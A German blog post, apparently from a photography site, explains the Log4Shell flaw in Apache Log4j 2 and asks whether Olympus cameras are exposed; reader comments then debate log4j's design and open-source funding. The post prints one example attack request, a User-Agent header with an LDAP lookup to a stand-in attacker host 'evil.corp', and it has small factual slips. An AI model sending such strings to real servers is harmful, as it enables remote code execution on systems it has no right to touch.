Wir haben es alle in den Nachrichten gehört: es gibt derzeit ein Problem im Internet. Und dummerweise betrifft das auch Fotografen. Was ist tatsächlich passiert?
Am 9. Dezember 2021 wurde eine neue kritische 0-Day-Sicherheitslücke öffentlich bekannt gegeben, die sich auf mehrere Versionen der beliebten Protokollbibliothek Apache Log4j 2 auswirkt und bei Ausnutzung zu Remote Code Execution (RCE) führen kann, indem eine bestimmte Zeichenfolge auf betroffenen Installationen protokolliert wird.
Diese spezielle Schwachstelle wurde CVE-2021-44228 zugeordnet und wird in verschiedenen Blogs und Berichten auch allgemein als “Log4Shell” bezeichnet. Betroffene Versionen der Bibliothek sind die Versionen 2.0-beta 9 bis .14.1.
https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.15.0/.
Wer ist jetzt betroffen und wie läuft so ein Angriff ab?
Stand 15.12.2021 07.30 Uhr
Betroffene Firmen:
Apache ,Atlassian, AWS, Azure, BitDefender, Broadcom, CarbonBlack, Checkpoint, Cisco, Citrix, CloudFlare, Debian, Kaseya, McAfee, Microsoft, Minecraft, NetApp, Nutanix, Oracle, Palo Alto, Pulse Secure, Puppet, RedHat, RSA, Dell, SAP, Docker, Elastic, ESET, F5 Networks, Ghidra, GitHub, Google Cloud, Huawai, JAMF, ServiceNow, SolarWinds, Sophos, Splunk, SUSE, Ubiquiti, Veeam, VMware, Zscaler
Außerdem die Cloud-Dienste von Apple und Amazon.
das sind nur die Systeme, bei denen die Schwachstelle bereits bekannt ist. Viele mehrere werden folgen. Niemand weiß, wieviele Systeme wirklich betroffen sind, da der Angriff nicht notwendigerweise sofort auffällt. Der Angreifer kann den Rechner komplett übernehmen und damit alles mögliche anstellen – vom Cryptomining, Datendiebstahl bis hin zur Verschlüsselung der Festplatte geht alles.
Zusätzlich gibt es ein hohes Risiko für sogenannte Supply Chain Angriffe – das bedeutet, der Angriff kann an andere Geräte weitergegeben werden. Handys, Smartwatches, Router usw.
Der Angriff ist allereinfachst: Der Angreifer schickt einen Befehl (zb. GET: /x HTTP/1.1 Host:victim.corp User-Agent: $(indi:ldap://evil.corp/x)) an einen Server mit Schwachstelle (http://victim.corp..) dieser reicht den Befehl an Log4j mit Schwachstelle weiter.
Der Server mit Schwachstelle kontaktiert ungefragt den LDAP Server des Angreifers und Schadcode wird ausgeführt.
Die Schwachstelle ist hochbrisant und wird vom BSI als höchste Warnstufe ROT geführt.
Im Endeffekt kann man sagen, dass alle Unix/linux-Systeme, die mit den genannten Bibliotheken ausgerüstet sind, angreifbar sind. Leider sind auch Windows-Systeme durch den Exploit verwundbar.
In diesem Zusammenhang ist es wichtig, zu wissen, dass die ganzen moderneren Olys unter Linux laufen und einen Webserver mitbringen, der von außen erreichbar ist. Ich habe OMDS Deutschland angeschrieben und um eine Stellungnahme gebeten. Sobald ich eine Info habe, werde ich sie hier mitteilen.
TrendMicro hat einen Tester zur Verfügung gestellt, mit dem man seine eigenen Systeme auf die Schwachstelle prüfen kann: https://log4j-tester.trendmicro.com/
Es versteht sich von selbst, dass dieser Tester nur auf eigenen Systemen ausgeführt werden sollte.
Ich bedanke mich bei Peter von alphawin für die Hintergrundinfos!
“Im Endeffekt kann man sagen, dass alle Unix/linux-Systeme, die mit den genannten Bibliotheken ausgerüstet sind, angreifbar sind. Leider sind auch Windows-Systeme durch den Exploit verwundbar.” Diese Unterscheidung ist hier völllig irrelevant. Log4j ist eine Logging-Komponente für Java-basierte Anwendungen. Und die können halt auf vielen verschiedenen Systemen laufen.
Wobei ich mich wundern würde, wenn auf Olympus-Kameras dieser “Webserver” mit Java implementiert wäre. Aber man weiss ja nie. Ich warte gespannt auf die Antwort von Olympus 🙂
Du hast natürlich völlig recht.
Selbst wenn auf der Kamera ein in Java geschriebener Web-Server laufen sollte, gibt es keinen Grund, warum der überhaupt ein Protokoll schreiben sollte (egal ob mit log4j oder nicht). Das würde nur Datenmüll produzieren, den man irgendwo hinschreiben müßte und den sich nie jemand anschaut. Und selbst mit log4j gibt es keinen Grund, warum man die “Wir laden beliebigen Java-Code von irgendwelchen LDAP-Servern und führen ihn aus”-Funktionalität mitnehmen sollte (die ist bei log4j nämlich prinzipiell optional). Denn für die Kamera gibt es keinen erdenklichen Grund, überhaupt mit einem LDAP-Server reden zu können – und selbst wenn man das wider alle Vernunft trotzdem haben wollte (wofür??), ist LDAP ein sehr umfangreiches und kompliziertes Protokoll und die Unterstützung dafür würde jede Menge Platz im Flash-ROM kosten, den man lieber für andere Sachen verwendet.
Zu deutsch: Wenn die Olympus-Kameras tatsächlich für log4shell anfällig sein sollten, dann wäre das – mit Verlaub – eine stratosphärische Ebene der Inkompetenz, die vergleichbar wäre mit der der Leute, die die Sicherheitslücke in log4j überhaupt erst eingebaut haben. Ich persönlich glaube bzw. hoffe, die Softwareentwickler von Olympus sind schlau genug, dass sie es nicht so weit kommen lassen. Wir sind gespannt.
Obwohl, auf der anderen Seite: Es wäre fast schade, wenn die Kameras immun sind. Eine bequemere Möglichkeit für Dritte, die Olympus-Firmware zu erweitern, könnte man sich kaum denken :^)
Es ist unwahrscheinlich, dass die Kameras anfällig sind. Aber es ist eben möglich. Und dann wäre es doch eine nette Geste wenn die Leute, die wissen müssen, wie es aussieht, uns sagen “nein, alles in bester Ordnung”. Leider habe ich bisher von OMDS noch keine Antwort bekommen.
Vielleicht auch ein interessanter Artikel:
https://www.heise.de/meinung/Kommentar-zu-log4j-Es-funktioniert-wie-spezifiziert-6294476.html
Grüße
Martin
Göttlich. Ich habe vor etwa 15 Jahren das Programmieren aufgehört, als ich keine Chance mehr sah, den Code zu verstehen weil alles nur noch auf Fremdbausteinen beruhte, die man einbinden musste und von denen jeder von wem anders zusammengefrickelt wurde. Da musste man Hellseher sein um zu verstehen, was die Teile nun wirklich machten…..
Das Ärgerliche an log4shell ist, dass das Feature, das den Angriff ermöglicht, so komplett hirnrissig, bescheuert und abgrundtief bekloppt ist, dass es niemals hätte implementiert werden dürfen. Auf jeden Fall hätte es niemals einen Code-Review überstehen dürfen. Wir laden aufgrund von Text in einer Protokollnachricht (der potentiell von Benutzern irgendwo auf dem Internet kontrolliert werden kann) Code von irgendeinem LDAP-Server irgendwo auf dem Internet herunter und führen ihn aus? Klasse Idee! What could *possibly* go wrong?
Programmierer sind auch nur Menschen und ihr Talent folgt, wie üblich, der Gaußschen Normalverteilung. Hier haben sich halt mal Leute ausgetobt, die sich beim Thema Sachverstand anscheinend am alleruntersten Ende der Glockenkurve tummeln, und es hat eine Weile gedauert, bis das aufgefallen ist. Aber es *ist* aufgefallen (wenngleich leider auch den Falschen, etwas zu früh), und das ist prinzipiell ein gutes Zeichen.
Das eigentliche Problem ist, dass es zu viel Infrastruktur gibt, die von ein paar Leuten in ihrer Freizeit weiterentwickelt wird und auf deren korrekter Funktion das Internet beruht – log4j ist da ein vergleichsweise kleines Rädchen im Getriebe und man müsste sich mehr Sorgen machen um Sachen wie OpenSSL (wo es in der Vergangenheit ja auch schon Ärger gab). Wenn die ganzen großen Firmen, die jetzt im Panikmodus sind, Code wie log4j nicht nur als bequeme Methode zum Kostensparen ansähen, sondern die Entwicklung und Wartung solch kritischer Komponenten angemessen unterstützen würden, dann würden dicke Klopfer wie dieser vielleicht auch so früh bemerkt, dass sie sich nicht erst über das ganze Internet ausbreiten können. Aber erst den Kram für lau ergeiern und jetzt voller Verzweiflung die Hände darüber ringen, wie unsicher und wenig vertrauenswürdig doch Open-Source-Software ist – das geht gar nicht.
Das betroffene Feature von log4j ist schon recht sinnvoll und es geht etwas am Thema vorbei, das so zu kritisieren und abzuwerten. Es geht nicht darum, Code nachzuladen und auszuführen. Das ist bloß ein ekliger Nebeneffekt, welcher das ganze Schlamassel ausgelöst hat.
Ein Anwendungsfall dafür ist z.B. eine Nutzer-ID aus einer Log-Nachricht per LDAP-Zugriff zum Nutzernamen aufzulösen. Oder sonstige diagnostische Informationen ins Logging zu bringen. Das kann in großen verteilten Systemen durchaus sehr hilfreich und notwendig sein.
Was hier das wesentliche Problem ist, daß niemand die Gefährlichkeit erkannt hat, was man in Verkettung mit anderen schwachen Stellen daraus an bösen Sachen machen kann.
Es ist das alte Problem mit großen Werkzeugkästen. Jedes einzelne Werkzeug ist relativ harmlos. Aber wenn sie zu großen Gebilden zusammengefügt werden, wird es irgendwann unübersichtlich.
Und ich möchte auch so ein Heruntermachen der Log4j-Entwickler (bzw. des Apache-Projektes als solchen) nicht so stehen lassen. Ohne deren hochqualitative (Vor-) Arbeit wäre eine Menge Software nicht entstanden.
Wenn man eine Nutzer-ID per LDAP auflösen möchte, gibt es dafür Ansätze, die weitaus sauberer und sicherer sind (Stichwort “Schablonenmethode”, stand schon im ersten Gang-of-Four-Design-Pattern-Buch von 1994; da war Java gerade frisch erfunden). Und wenn man unbedingt einen Mechanismus benutzen will wie die JNDI-Ersetzung von Log4j, dann bitte mit einer Positivliste, die die erlaubten LDAP-Server angibt, die befragt werden dürfen. Das muss man dann zwar von Fall zu Fall konfigurieren, aber die zusätzliche Sicherheit sollte es einem wert sein. Und dass so ein weitreichendes und potenziell gefährliches Feature überhaupt nur funktionieren sollte, wenn man es bei sich ausdrücklich aktiviert hat, und nicht standardmäßig in jeder Installation, ist eigentlich auch ziemlich elementar. Das aktuelle Problem ist ja, dass die Allermeisten, bei denen Log4j läuft, anscheinend gar nicht wußten, dass das Feature überhaupt *existiert*.
Natürlich kann man den Entwicklern von Log4j nicht die ganze Schuld geben. Ein Teil davon trifft auch die Programmierer, die Log4j nur benutzen und dabei Text, der von außen kontrolliert werden kann (etwa Reinhards “User-Agent”-Header im HTTP) direkt als Protokollausgabe verwerten. Unkontrollierte Verwendung nicht vertrauenswürdiger Benutzereingabe ist ein Rezept für jede Menge Ärger (wer das illustriert sehen möchte, sollte einfach mal “xkcd little bobby tables” in die Suchmaschine seines Vertrauens eingeben) und auf sowas muss man einfach aufpassen – oder Werkzeuge verwenden, die sowas gar nicht erst erlauben. Die gibt es nämlich durchaus.
Es gibt eine alte Regel, “Hanlons Rasiermesser”, die sagt “Erkläre nie etwas mit bösem Willen, was Du auch mit Inkompetenz erklären kannst”. Wir wollen hier niemandem bösen Willen unterstellen, aber bei allem Respekt, kompetente Softwareentwicklung sieht anders aus. Es gibt im Apache-Projekt durchaus gute Software, aber auch jede Menge schlecht gewarteten Mist. Nur dass etwas von Apache kommt, ist kein Indiz für Qualität.